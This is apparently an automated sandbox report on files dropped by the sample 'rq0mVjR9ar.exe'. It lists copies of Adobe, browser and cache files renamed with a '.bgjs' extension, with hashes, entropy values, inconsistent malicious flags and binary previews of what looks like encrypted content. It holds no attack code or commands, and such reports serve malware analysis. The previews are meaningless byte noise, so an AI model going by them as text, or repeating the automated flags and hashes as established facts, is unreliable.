Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.854407369503367
Encrypted:	false
SSDEEP:	48:3dn2ZAF2LPYpDjG6YlbxCvjKQ9YuiWcDuiD:9KpPYp3GvlVDQQx
MD5:	760E719D048376668A8E97855018D710
SHA1:	F2B0AC852748FAA6EF3B51EFB54F0C285C980F87
SHA-256:	C7F9202FF6ABA1B6632E298EB169DCF161D4ACE4E745BEB27604DB2FEDAAB75F
SHA-512:	D7DC52EE16F6C4ECA9116F37C41D31525FFF5D7A63639B11B84ED884700E84A20FF9B692A802BB9A41E526B40E090E46F789987770C788E291A0BE152DB0B347
Malicious:	false
Preview:	%!Ado.......q..V..k6L't}..]..N...gR....t.nHQ.O...2!....X.Ut.v.L.p../....i~... ..GLe.......j..Y.[........k.%&{.....m\.Z....1.......`A..X.J.....>.k....b...M......+.S....c.B!J..oobh...^.AtD!.`...+J....... .....4o....S.\|{...Kl.....9.F_.I.~s..T.M....s7w..v.{....1....T....c.o.d^.....v.K...0'..\...N....m..Y...o........0.... .M.f....... .E. :..n.../...%...._....i@.). .x....U......n.....t!.8n.T..oJ.4...B.'.....F"...!A.N."78..}y..a-.....k8.'....7..&......h.!......]S.v.........vH. ...$.s......0.G....o......."...........t.~...L...#.4..\.`..B.......k..ur-.]]J[[\|..4..h..^..RwV..%Z.a..}<...?.~#4.......C......V.c...j.J...d...m..3......;._.H;.._...X8...3v/W....B),!.g.<."....Q...n.@5<$}..Mo.._\..?u";...k.q..s..}D...^.J.?...GcF.2.6.!l.....k.9.pWEKNed.v:..<.v.NN.t.j1.m..->..=.g:.....n=j...=&}A.b.;N^.>IZ..2..r.....y.".kL...C.qL_....mZ?....s......l...g...].&..i..p* ..6.8[.H........./...v5d.1.wc..C.v.U..i....V..B.1MYD..:z\|.=.".f.%..'?WG.M...n..

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt23.lst.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.877575971484753
Encrypted:	false
SSDEEP:	3072:uOYHDvriiARLNDEqdA4WmFz8J4eWqPNwjHvmFGF2YSp9VBMeQxtedFca7fzhIaXU:/iARL5yJmFzS3aLvJ2Dpew7aaXE07ZmT
MD5:	36F4213E37EEF82A469C6C180226CCBE
SHA1:	E92B9FC9E39CED639CF40E4CB526585D15F3F33A
SHA-256:	7A11D736A69176C326E1162FFD2ADA4612A8F913568F7AEB41E3D0211793D824
SHA-512:	047E255131B4D7A9A14E7F6AFC5712A37B77A4B9D9C44CB44154B20186E723C889583D7B84AB66D6CE754F0D5DE94D163F6AEE9D63D6BA84FE8EDBFA925460B9
Malicious:	false
Preview:	%!AdoP.p...z...==...l..?...Bw....^..j&.R....L.B..A...UB..m...X...7I.q..YqA.r.))dG...%.[.k...{.1..~.......?....JX.....\..hy_F.@..$... ...QC....'..K\.&...>.........=......f.....(b../^..Y.t......lz.)....[z.\|;hv.?.U.q..%I.ER6}....IH..'.........p7 ..4.V..F......8..f#[.>k..T!6..I._...V .rv..i1..S.c.>..R.._.....(9...d...W..b.;...f...D8'.3sZM.qm.z..f..A........99.E.H.!..W!...Xg...lAIm5.....$.::....LoN...J.M.1.+..n.r......Q}...x90............2/B.E.w.#j...p!.cu..T,..r.7n.z..Mg.d.7...w%I(.p..!=..#k..7\.s.).2bIe,.V6...[df.!.m_..N....P.....g.=.....b$..<.JE..A...@..e.(2R.....e./f..s......^....P[v..N.bA.G..&Q................N.._8...Q.l5.K}.HO......T..9./.0...R..8I[..m........".\.........O..6.W.........'!...jX!k........!...~v........j....\|\I.....r..i....4Q.......r.OBN.;........).{I..n....2V....2.... ..L..R.&.rR/ \|aW.{..<oLBS..ep......U.\.@....;8.1Ya..w....1...{..niu'..j.........=..D .?..d...j)uUD...b.K>.-y..r<.B....y.fK%.....]..R1.....S...s.....2

C:\Users\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	227336
Entropy (8bit):	6.986399371499888
Encrypted:	false
SSDEEP:	3072:ZGksMidigWdm7I4HG1QucveW45QF6JfjNS1hbWqj6OoWiRna:ZxidKN4fF0i1ina
MD5:	6D8092419866A2F91FAE72EF8DE059A3
SHA1:	ABF042AD83A8DD0F3F99A9C798F891D973041183
SHA-256:	9EAA6AB0898EAB56BE8D06EDA7269DFE29984AE9648D1A642A2433025B140566
SHA-512:	B578C9C57C29B97446D255DEE25FCF204D0767630AB59870EA5E1EA001B0818511E07F176C56C4BE4EB14FF462D7FA2F21C707789ABDBDABD092B9C173097E71
Malicious:	false
Preview:	Adobel.....t...C..L..c....\|.........._5.U.{.Zva.'9.n.....qNQj.R../t..~Kr.....Q........'...d....0._..^.:.......d{DtuC.U)..I.c....;Tt&h...%C...Q.!...$.T@.W...t..o.ch...Dx..)...:-..$4l.4.J'..4...(M...aL...Q..7....E.}."Z.?F......0.."...:.E..9Y..8.....%.]J..u..........5...S.(V.....<._.....`...._..5..5.._.`>..[.a....It......#;..\s<..wO.#v.....bF....\|IWc.\....N..7.".ta..(.C.,..J.!Z.....R.......U...b.5.X.Z../e....:..=......Z.S$.{8.>...-..K.R,..4......K6.>......IX.\.....g.....m...`..uv.6...n.-c00w..u..w..RS......}..\|..[...V.`q..S..F.h.E.j.%.........}7o.x..{.....6v..s..0sF..k..?.....T..MP.........u! ........3........d..K..n.....pE..7..>u..L....y.Y.....u.....::..tn.@n.....#!\...g/_Ea..\|.+P..J%...sD0.[.}y/#.M."..lI.e.1.P(....>.E.N8.-.X...l..*.x..T~.5.^\.Q..0.che7z~.._..Rd-8e......]8..x=y.w...LtQ3.d..!.....0.....4.i.q\|gKY...N.c..b}..'K-.......s....~_.\.."..x_.'.Os...(pb...w@i.3.w.BX....rc...;..NE.o.<.D..H.B.......hj..se..."T..:.......{B....+....@+..M

C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997317497236421
Encrypted:	true
SSDEEP:	1536:sOZMZ00vMSn/n+AywlvljNR7BZ3vTHZL+p+0zCWhcW:q02z/TvRNd337ZQ+GKW
MD5:	3BCEBCD53A99918EEF388115371AFF31
SHA1:	2A43C2B92C12CB4B39D39260BF91C56FA45079C1
SHA-256:	56DC378FA36E1A1B467F542A2DA1FB1D5A673FE8FA87FD31AC39DE1FE472B5B2
SHA-512:	CEC013A50E6ED8A55041D5128B656CEF5E0BAA4BA4568DF2ABAF39EE987BB475A81629D00E3851A128A70670898C09573D589D30B7111BC8D59EE621D663B0DA
Malicious:	true
Preview:	4.397/....C..njf..:"K..L..E.ky.i.(...~.V.n....>=.G.fD\.I1.w.....k.....J..%.7./.k......gGr......s.{/...I..@)i..n....~.\|...cC.Q..F.I..t.R6......ft..5..: ........9..%\|...j2.........^.&j.....4.I..Gs.=..2.[6.R...1.j..H.e^(.P@...P.5K..a........8.....g......Nu....z.j...f..".....aj.....kBU..0%..b.;X...G....+.../...M..@w..2..V.q{.......R._.....9J{..SFnv.o...q..e.,.s.I...G.....$RH.A....4v..v.....E...}K9...$[T.;...or')...F......k.L`..J.iyo..\|.n.@..y..\|..]..c.=...^.Q..........]1.@g..'t!R.E.J,./.&.i....2u.5....ItzD.s...A..I....;...hT=;...H...#..5#>.J.\|.......t).....D.`.b.a.!U.s..L...?]....b.@...M.8.=...H.......E..+.....;k.?......V.}.....-&~......N..Ls...G..._....t.9.3..%V,.5.......f.^...7..y3$.(c.5....y....~....9..z....S.!..h...v?....}..$O6^Cy....>'.G....d@......q.E....z.T........$?.>\|.R./...A.o....R\|.}.....f;.#P..u). ..XM<b..Q2...;fnO..7n.<..K...MU.......9.D...i:a.T......."L....%v...,....t...@.Ll..v.B.&...a.#Q..k.M.8a.8]_..W...}.v..$........O...

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996317824981964
Encrypted:	true
SSDEEP:	768:1RFSQaZ502eb0m+6Rwh+cd6yvaQ/F5koNXZ037mJYu1PHiBWlDl:zFSPrno+LIcd6yvainRt2rSY0PCBWxl
MD5:	5C000181F3350BE70088DD399F8518B4
SHA1:	F7D03CBD3F551DA5EBD316FDCA799DD7428F53FE
SHA-256:	BA0143675FDA7CD4D04E6CE926330971A78C21E0142479FE48531B08FD864482
SHA-512:	B131FDA58696A57FD5ADFA6CFAD6F3EB0452B72C26BF93CDDDD67EA57A372A49F4833F304EA1538376BC77C969C1C95FAF64A2AF4C845EFEACD9208D4494D8C8
Malicious:	true
Preview:	SQLit..Y.....5..~+...?...../.Z..$...Q...e...<..G.:....Z.).".h....^a.\|.%3...j,#.CF..f...._..I..+...42.RD......?..a..nf.Y.5p...M..."......lG8...khd..]...^...p...];..^..sX..6v..6....LG.i). o..k".S...7.b."...\|.jJ].^....w8.....k......}/u3K.T..\..j......Q..p..!.`.....H..N[=.............o...H\|t.....6....C...s...<..\|.'^.0.\...U.^Sg.@l....F~A....a.e.y(.x.}.UM.1W...D.)6[..9.g:.j........mEm9.o$.k.pw.V.W5.>.w..a..Jk..U....+...<......6.....n.E..P...;..Po.\|...,R3.)%..t0Q.M....[.6.{"G'V.;n..] .{.l.\#....v.p..:akO.........S...-2.$w.r..`..#.6..ZU.......vs..:..I^C...M..f.G3t'(.<......# &..."....3.....]..8....\|.........N.......(.v.\|R.64.n.9.s.S$({..?."..E:..\.F.m.....88&.r#qe........nv....k...~...)....T....U..L.......0.u..k..X=P../QG*K.P.<9..P..x.G...S......s7..$....5EA.E!oD.....M....0u.7....P4r#...I6 .O.5..-q.5..0B]x..T..n1.A..}Za.`s...9..g.,Y/.C..._oY.i.L..G.\|^.L.....8.....Y`.:...j.p..g.......S<..A....1S..s.....n..S...<<c..BX..u.D6iS.'...bQu#

C:\Users\user\Local Settings\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.310967937260242
Encrypted:	false
SSDEEP:	6:Q3fwCIe6wfKW9ireeqjQhqMcVTOmfp/6uv9N4TwhUvixzPklrycze4bQVjGxssZE:QvwLe6KKW9eejjQ41OsSuv9zhI8z8lr+
MD5:	38546F052946437EC36214F900C056AA
SHA1:	3D3C8820B0A9757C07C68A5B659EE6A0A51003E1
SHA-256:	022F6AAF131C8F6FF147EAE418629FE968148374878C0DFC378FD24D5142BC05
SHA-512:	70976506601AB640AB66D76205FD1C188059B96AA924511533CBE7A99DF338C863496AC223719E912C8C0197490EA3128F90557F12D7C63C833BEBE8B4F587AE
Malicious:	false
Preview:	1,"fuL....\|..+....U....`.,m..~.?........m...... ..0.7...K.$.^H.r....O...'Lg..J.i. c..a...lKJ..(.....R:....+...Lx.z-......0.e.x...#. .........E.2.YR..G/-^R.V..r.......Y..i/h...7k.yqM.$JD.q..a.6....i;..D..C..E.d.....p.Nh+..C...I..A....y5.S....`..Q..z.$>.5s]W..Wdu..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1554
Entropy (8bit):	7.881073575091979
Encrypted:	false
SSDEEP:	24:lGQCDZWSPf0KicRGlbzo/vuGuPWVOJg7OWmG6ZyBOycWaLHF3zQvYVplEAvuiTkX:rC7xic8lUJuOVmgihG6yMVl3zFHiD
MD5:	9818F8D1C84AE17AEFC7058D3138B9E2
SHA1:	3BDCECC00CF2839718AA9BF2FCF0A17EA1E55E4A
SHA-256:	300E8BAF880D917022FDA7E83CD9D0A793A72D1EFF8E43539DCFD363128DA3B1
SHA-512:	DB57E562416B9E5312DB4CB25A1143845ADE5F636BC6E389C7A84B6C94E03BF34662A21A0258448ED3247B9B2836219042F1C9B5ED538C8EC29137E3CFCC7DCE
Malicious:	false
Preview:	1,"fuVey\|W......h0KO8.]]....{.T{../...Q..:{.?...%).....7.`...K.sV.>.m.m.<......<[Z]....s.v.:.v}P..9.L..Si"...".."8...1....<.j.......c1A...<.Y..G7c....\|.)......=.]........a..,Y.[..q.+.F... .<..9..F[.c.P..t5P..E..qP.......g9........F.t.\"%+..nz.Ec51.8qwomRb.$x.'.Y....#J.lY..).Cq...\N%..~.9..._}'.zKt...g.N.^m........#......Q..:.\30.0.HoW....U......Uw..sM.\...B..O:3%.j..:m..`..M.Hl.o..y.....j{....n=.[j...'.....m.....Yg.XC....73+..7Y....)s...........D.{.........[.......@.Y.q....D^..o.3....7U5....L5-.....z,.fF.&..-..~g...QSe:.N?.q.'......k........HZU.&T9..k.....J..X.i.....al.J........)...rE.m./...Y.......<....../..RK.<.g..5......g...A..<..1.?$.4...r...wi.WjM..J.=_.Q...bVy.Q.....z..dt...G......E\|{8...N..4V...F.a.d..[....6[.<..n}.I...1.w'u.I.k,..EO..".3`..../..A..h.bB5....[...q..s3.p.&.L..@.....G..l....G. !O...o;...).o.Y.p.~.,=WI.U.cr.^...,.h.J..VM...R....>....~.o_.w6...2...p.8.wF.6.r..:.....m...>S..C^...fV..^.n.B..N..r.@...%o.gq...

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\LocalBridge.exe.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1952
Entropy (8bit):	7.897094987925674
Encrypted:	false
SSDEEP:	48:7bbtco2DkSpjQSzP40cyVCWEOX+ovUQrIgua/p+viD:vbtt2BQwwZyeBoDMgnkC
MD5:	C4BC7F1E076AFA37853A0DB4262F0E5A
SHA1:	87C80E3BF722BC78230B9E67F80BF8D6DB5BB38D
SHA-256:	00448042D5B54184FFAAF9ABE252370FE02500D466AB8E9084795610572BD424
SHA-512:	CCCEAD51EA95B1297847BCF51146ACC7C3B6A45D44EEBB14D327659AE756686732E54DA190F24E1BD35853FA87CE46542B35487E39B69D684107C000D2A57B85
Malicious:	false
Preview:	1,"fuK..V4....wj6.A.L.~.e..........%.u.q6....N4.$.LQ...#.F+.'..A.:,g.W.^.R.?........V..o/.f..39....._....Z....Z..!.;..q..+3....sQ.x../.$..q.]RG/.we... ..i.Z..x..Cm.C.......a...2.&.S...%.)_Ae4.iW.J....hG2........x....Vb..?.wd..(VY.1......r,.W^`sE....rj.q.U.5..@B[.8...Yg%{0.Q.Ko7.O8_..O....)}....u.f.s7..s.......f...A..L.:.kW..\|<.H...}(V.UP....9gg.hy....L......{W.....2....x...rA..........Q\..b;.....M..)w...I.....].l(3.C......t...>..P..../........qoy ..w.-..%S..........\.,9K..._LV.:...]4}L$......c@).g......b.{.......Y.T...N0.`+...}\|ym..w_0h..p.W.s.....{.........."P.?..T.k...Z..mV..BM.:..F.1.c...J..\.$.L.jB..M.Tfp)T...*..rf[0.L..w.O.=.1.J...Y$W!P...)...Qi:..{..>..UU./..ij....2.. .]..........?Er.H..n.}..\|.>..P8.3D....V..._..D..h.....6..sS40J..O<.....Fx9}.......g..;.-`...y..=$.[..:..q.h.\|.\|......m.~.%qJ..L.\...p...aLh...dg....G:.Q.@....d. .U.OOW...4....z.^\..1+ .}.(.U.3.....x(\|jP.~Pe......]2.<..z.:.Z.....7m.~.o.0D.^c_....,.5.,)..<Z..H{\_..5

C:\Users\user\Local Settings\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185095354638365
Encrypted:	false
SSDEEP:	6144:71t+M7lVYchaD4PGIqF5zm2ZqKILRLj5f:x1zNuIyzm/TVLNf
MD5:	B2E4E7ACE0BF0683471F15AA422A72E1
SHA1:	C9C59F3A1C63A7177808A1B333DCBB659AC3D68D
SHA-256:	9A8FF5C547AEFF273CB898FCE06B3688849779BB36BFD50ECC1C314DB77CB58B
SHA-512:	7580AD8E63C09B59A1B9A36B6544A8351A96FFFA734F2CAD3BA2B94B48ACD8BFE6DDDDAFB12C904E7ED992C586303EB9E2D14F59DE4108EA2239694A4BD20609
Malicious:	false
Preview:	......f..d..O.V..UJ..v...c=8...t.....z..j..,.rt.Y._...^..."......_eE.f6.).........e.N';.....r%C.\|......%3$..r.q..l......r.Si..G#...E...^..x.;.......G....~~R......$.O...A..N....i.p....l.33....K.}.EChX.M.S....$..........jz.2..2...;K.V.<...@..i#..(......h.Y.}/..6..X......'3.Z..bE..v..q...p...v...6..tQ0c...Q5O".~.!...R.....,C:...[../{...Z'.p.#m..4....k2F...G.l.d..0....#.Z....6.....&c....`...m[...]7,/YH.b..g......+..?.).VK.....4O......0..o}.b..kl....xn>..:..sEz....F...KA.......P.......k.....KZ..fg... 3&.....I.r...L.....*......V..#.aO.,..a^.v..>.JU.T...u.._....).M.....B..hH/q...R.Id...a.c.Q^.K.>}..3..(ef(k...Ms&x..g.........y.PZ\d..o...G......MI.L.].w......!.Y.\|.W...`.t:..B.@../....&.w.@...Du...a.y...)k..s..Q...?.5&..D.Rbr.LL.@W.-7?b.f. .(....H.!..h,....&.....&..8l...8.K%q......<..A..D.y(+U....]...E..R..>[]d.%+}...@...p.D.sft..`.w.=z.g.t.@.O..zs..}u.Z.+n)8.....G.Y:U...........r .....&2a.r...!..3D..A.:.p.4.Yd...U....6...b..

C:\Users\user\Local Settings\Microsoft\FontCache\4\CatalogCacheMetaData.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.910838709737009
Encrypted:	false
SSDEEP:	48:/S1tdniVhVJBWSDzwF+9B/wJDPw8Vb1Zda6guLso3NxIY3rqSiD:/ydMfF91WDI8baogmDxul
MD5:	E10EFFC166FBA9ADD40AFCF6FCF390E0
SHA1:	9D130708D5E8172A56CA64C8DC842156D5B570EB
SHA-256:	EC0C99AB5B53CC2D3E3A032E3D1EE94F4A784F41699814E17D5B947B1223A586
SHA-512:	DD319FE06B70A916309FBDD738FFCEF81BDB67C712B8B70C2C54CE1A0036E3A03A3EF6E851861B0DC7B5A72FA940F2660CE2F1D6383EE4F7AFA758B0FCAAE305
Malicious:	false
Preview:	<?xml.......0. 0..`....j..wo..8X/...Y.d.....'.s....A..Oa...s..~.2+K.n....ZD<.UK..XC.....i..V`S\+.=.2.V.*.B.5EI...rq....5.a...8M.K..a....).7.)I.e.GEf......`.j%.\|C..]Z\:h..hW.>].^...z_..u=.u.g`.n.Q.U..tHK.B."..o..i}&..X...........S..3.I...s.V.@X......1q...u..n...?.\|]6....._.H..5....f..a....YV...1.....`..e..a.{q...YN..50..`...Rc$..cF9,x27R./..Is.y..,Z...A.w.a..s.....9+...4....@n......3;~,sWi.....p....8............/..w.\c.'.!...dQ.F>&..y.@......9....W/.y..y.c.'Ph.c.7......XA..r.....Q7<V".4..T..E.....Z4r.......f...H...e.d .}Y...-.\|..1.......A..v`.9W...q..u.B.I.%....4...5.t........7...@..%i..t1.B.8.j<.Osoe...."..Ho..2.h..Y.1'.~.@..u.c..v.........~T.N.%....\|&?.++...<.4t...v...D...7.cTu.\|..j.it.&b.h...'...8/..........z-.FJ`..(D.._....[...2.>."....O......r....uS.....2.:..a....H...X.]..?.SL...4.V...I..#.K..Y.K..D8..P]<<tC.,.....K4..TEo\|..L.....[..P_.K.LXN.,.RZ/'.\|....L5....f$..\Q?...-.v......^C2R... ...r.....Zq.q..>.Db3...)...s)....S!~...U6.....m.b..k

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.chk.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974735195420648
Encrypted:	false
SSDEEP:	192:Hi3CHA7riRZhVBzPJpLkQRX/ckz2YCexaWNDPkaPHaco:0CHAHKZzPJVNRPogDDP6L
MD5:	616D1B6CB99DE43ACB612B4E8B79E539
SHA1:	2F2E28718B74B02A6234AC5B4ED542416692F098
SHA-256:	C70121E61A83B0C4B9EFCD23AA2D03933B921B85341942D8D48E64E8743C1B66
SHA-512:	8BF7B87F1EEC5164F06EA9965BDCC049CF2E03E1A4D502661C18CCBFC9E523B42FC8B0BCDA9C085E9E52D0617018F838A88138FE7E59E842F8F54BF8B859694E
Malicious:	false
Preview:	h..F...0A...^.........O&.3X.(C.....8]....K{.....z..:.....}9.e..''h....R3:..6..rg@X7c....C..W\v..-0........... .....D.i.(...Db.k..b.g..`.JS.g.$..i^.@p.&..A..[......~.`.-'s...+......S%.y+.c..cz......g.N..Z..-.b.ms......c...Y....Iz..7..J...sbZh...:...?...b.........zow....?..3....E......'g.#.h.x....N..\|3....o.3.....b...6ff...`....?I..:.F.0H..xg.. Uy3ieY..K../C.F)...V...-V..xi.....5..h....M@@`.U.....%...@AD. Q....e.....Y...Ks...!]...qA...VGA.7l..#.....=t*'...2S..X....D..".....Q \.J..7c..P..M....8..5?...-U.........`.U..SZ%...$.....XS1Q5.l. @9.YM.h.eo{6iT.D.Ol.S..k.~d.^t.iM..pG.XK....f..=l."?.G.E.B.....'.n.(......{..g?;8.........2F..v.kxk..V.n......u.....S2.....m.T..aL...Dn..?+..>.g}...V..k......X........3....b.?b....gy..c..:....-..E...8@.....!.}.eU..K.:AnD..$.x8bJ,..p.a.....iT.v. :T;=s..r3..eB...An....S....<~=.....9./:VE.c....m..Wy...~1....^.9$-.W...Up...GN.i.R..E....i.......;..(.rV.N.:;..\.}.`..b_.w...3P...s...l...!....G..U.9W%...vZ.P.,.99......

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.9636611748179207
Encrypted:	false
SSDEEP:	3072:WKkg81Y/IIhPsK2n+LqqrTO3h3L6Ijs5+C5oQj8GB1dm6bcP2BmnrPVvYRrDV17U:tkg813+brTWtjs5IinYwcy0T3
MD5:	101B7955B699DEA76A1649A9CCB0D139
SHA1:	4F9963114994A3D52303FE7A785DD1EF4D56D015
SHA-256:	8310215D3D09B4E6EF611C61730FB14FFA6594189DAFB13A98C5E712286E4B4F
SHA-512:	44D43D5A18125392B545B97BA2A5FD783B4ED23C499485737CE5BE3F13643C0026463BA0AB6A084B40CAE2F3A72BB6487AD832247B9763E98A3E11E601C43548
Malicious:	false
Preview:	.._...u..............o;._..J0....$.....h...b~P.d.S......&.$~....H..{e......K..)..).s.q.<;.D9..(V.j.....^y..........l~../.z".D.sp....mo.4.........V.........XU....h....b......eK..h6Z...u..b.h...\|..,c.#.,.a.K.C.`4.q...9...`We.(.......=w..........+.....k.gC.~#..].d...M.K.u}.2!..........Z.V?.....a.;D...n.H.........e....>...../bn...x.1A`..'eK....J..]j..~...e.A.....c.f.QuX....e,.2....aH9........c......g.N...@Fj-!.l.=-).....S.<.F..I...\|..1i.F..!6c..2..i...S..5..5.[.(o..\|....a...v2......Ay...:.~......_.....Lji..d..^..B..82..K....A!f....U..c..uq.(....F...:%J....!C..P.9B.;\|K.W0.....j.9.....,.o.......4......`.!.n.U.p.1(h.....[&!Zg.....&.o....O...........j..+).........M}.\|.~...:...a.^P...vj...8.`..D....:^Y..%.:.?.{$.F>r.i.....M.v.dG.M#m.L ..?..c...o.s...k5......4..2^.Dc....-...Vd......2.v...:.I.b;%HD.v.)..A.7..=.w..r...R....S.../..6[...2...!;......z.tI.M./..6...{.i...{..c.H...m.]......}r}.].p!w}.}....! {y.._&.....$."...[..@;...j...3......8".

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207014284675472
Encrypted:	false
SSDEEP:	3072:AciAB8ML80Eo5mDr19MU2MxuH78WbEw2C0hgC1dxtdK83QN5eu:AlfS7Ar19d8bLmhfF+vj
MD5:	D62466DA606A8BBBF49BE937A8CA51C1
SHA1:	5E690D091056EDDB7F43A6F01DAEA5B0CAE07F8D
SHA-256:	1F3C3C3795ACF06085EAB5D59AA0B68A84AC802DFB695C7C18724A063CB99F21
SHA-512:	1B301F973FF5B0BF1C22794483A2289E264C830DA0D4D417BA682C4BC24803FFCB7D4946CF14DB9BD437A684C089592058124B7AD4AFF375E7CFDBD2E65A77B6
Malicious:	false
Preview:	.....c..E.+........~.j]5l.....5.g.eD......J#......R..#.M.V$]..D...F.,._.$...N...)..".y.%.....C..........S8N....K.. .K.Q?...z......\|...y.d[..Vz..._O../...... `. ....gt..!2j/.r.6..P.=(....IR.u.#a.. ..F........fugT...\|.....c."x..x:...Q`....M....<C...#.0=..W.A.........(E/&.4~se7...UY..T.:....%...l.A(f05.U)`8Tk...q...@.C(."uO$;V ........{..~.0u\|...K...8....V...S.i.....}9..E.G.S.P.Q....P.0&...dI....Nq5N..?...B....1Z.Q....}.uH.:Q..v7.,..J...Cq....;h..<..p.....n.. /.R...V4..}..('.B,h...sq.Q.e..p..`..z.yf...3..).t.V..%...........iRQ?..}..-.JiK.T/.p.90%..7\|.R....E../...k...GL.sN.........>....XB.S.f..`._.G....!....{b...Z.(2N_...t.w.q.]...HK~6.L...4.~..g......t-..Au.Hy.f.....l6.9.d.$.!..d.15..y{.....za.`a...%..B..PX\.......0.T.x$;..o...Q.Z{D.$..gah1?..Z`...V0.D.\.zk3.H'...I.......}...Q.v.....aA....r....<$J.(...5wfj.&.zKI.lI.J..S.F.:...g[jm.0..dGr.b..k.5...OQ. .........UP....V....hj..s....1@1q..o.Y......7p..H.b.....{..YW<.....k.......]%.(..9.....s.=...e}..6

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2079685646176617
Encrypted:	false
SSDEEP:	3072:LYYr8lAFkFIllWm/+K4rkZAHsmj2sjx5MX1XTEERRwHTSr:kVqjl5AMmj/fMX1XTEKgSr
MD5:	C8AA11148BCA883A18021A7B8E3662AC
SHA1:	337D860FBB2BDF292BD40D6E05A32792556B22A9
SHA-256:	E092A29542F26AE83F59AE2285CE46EB52CE6998B48F58F15982AE44809DA315
SHA-512:	80D67A5F6A15C68D3AE1A20995369A93BF95A9152840135B1E5A51B8E46A03CB61C2188B9DDBBC14F397C0745DC1AB303EFA52823D9E08E137795B4FDB438776
Malicious:	false
Preview:	.....l..~...9..!....)..v.?JXh...#.Z.99-VC.{.=..W...^.nr......pCi}B..Q.......U.R..h.n.6.~8bv..4.!.h. ..qR\...W...Y.52NH.r.....>.B..%I......dI..wcV..+...e.'.##<!~U.?xC.1...y^.z...\..9...V.._.....I.Ac.Tc.....O(..9!l...'.WO.!6H....?..y<%"..;.ls..'G....\.....P.~..:......k ...[..........).z@.3^~......./..o.(J}Wp......m{s....J.S{...Oq"=`....,.;V._M...+./.".[Y..6._....~........ .S.M.#U..a.;..."....x...p...$.o...K...../.r.EfSP.:b$K....V.J..V..G0y...- ..1osv......b...NbBc.B.\|[.-....\|.qe........n..A .......-.g.^....Jv.'T'.$....).+~j.\|.>P.r..v.z..U.5k[...CRLD....uXI..%......zF..k.....p.8./..?......r.;?.U.^.$.&!F8.i...d.R^.H(.ko9...K'.....:]....... .#.....d...)q8O......U.....p....P..]..G.s..&..p..Y...Z.4K...}..E...d........j.../....;G.....(r)..k.c.N....ywd3Q....8....:..]..H{.l..FQ....]..C.s.dZ.......B....%)]...H.d{$oa.I.6.Y\|:.(!...y:6.s..<..m.$?..!R...\|D'...w...%....Ov.zCS....G...1..8.q.......H....`..T.Dn.R...r.H.-[.`.\.s..d........R..U....JF.A..Q..}..C..

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbtmp.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2082477983994537
Encrypted:	false
SSDEEP:	3072:ytMGhBiy9vYYxpVkwTFzpIiZzms3ZnTK/Ohs6Gwg6Pa0YPVqAZQ7nsfH:NCvlW4TK/v6GuPQaDOH
MD5:	7E06347C88A2360AB56580ECFD780D48
SHA1:	515ABEAD7EAE2CA899453A9000DD08E7EDA30244
SHA-256:	028EF605EBC0A0E908FC1F867BC42561EA84F26624DE91635026E07400340EE6
SHA-512:	E159FBAE8D13FE3B79A35691D53D8D31B8285BF1C42C220D338DBD2C8ADE618A4107959D35BC206699A07F62D3657BFC7EB2AF5E5B1184B481256BBDEDBE4F18
Malicious:	false
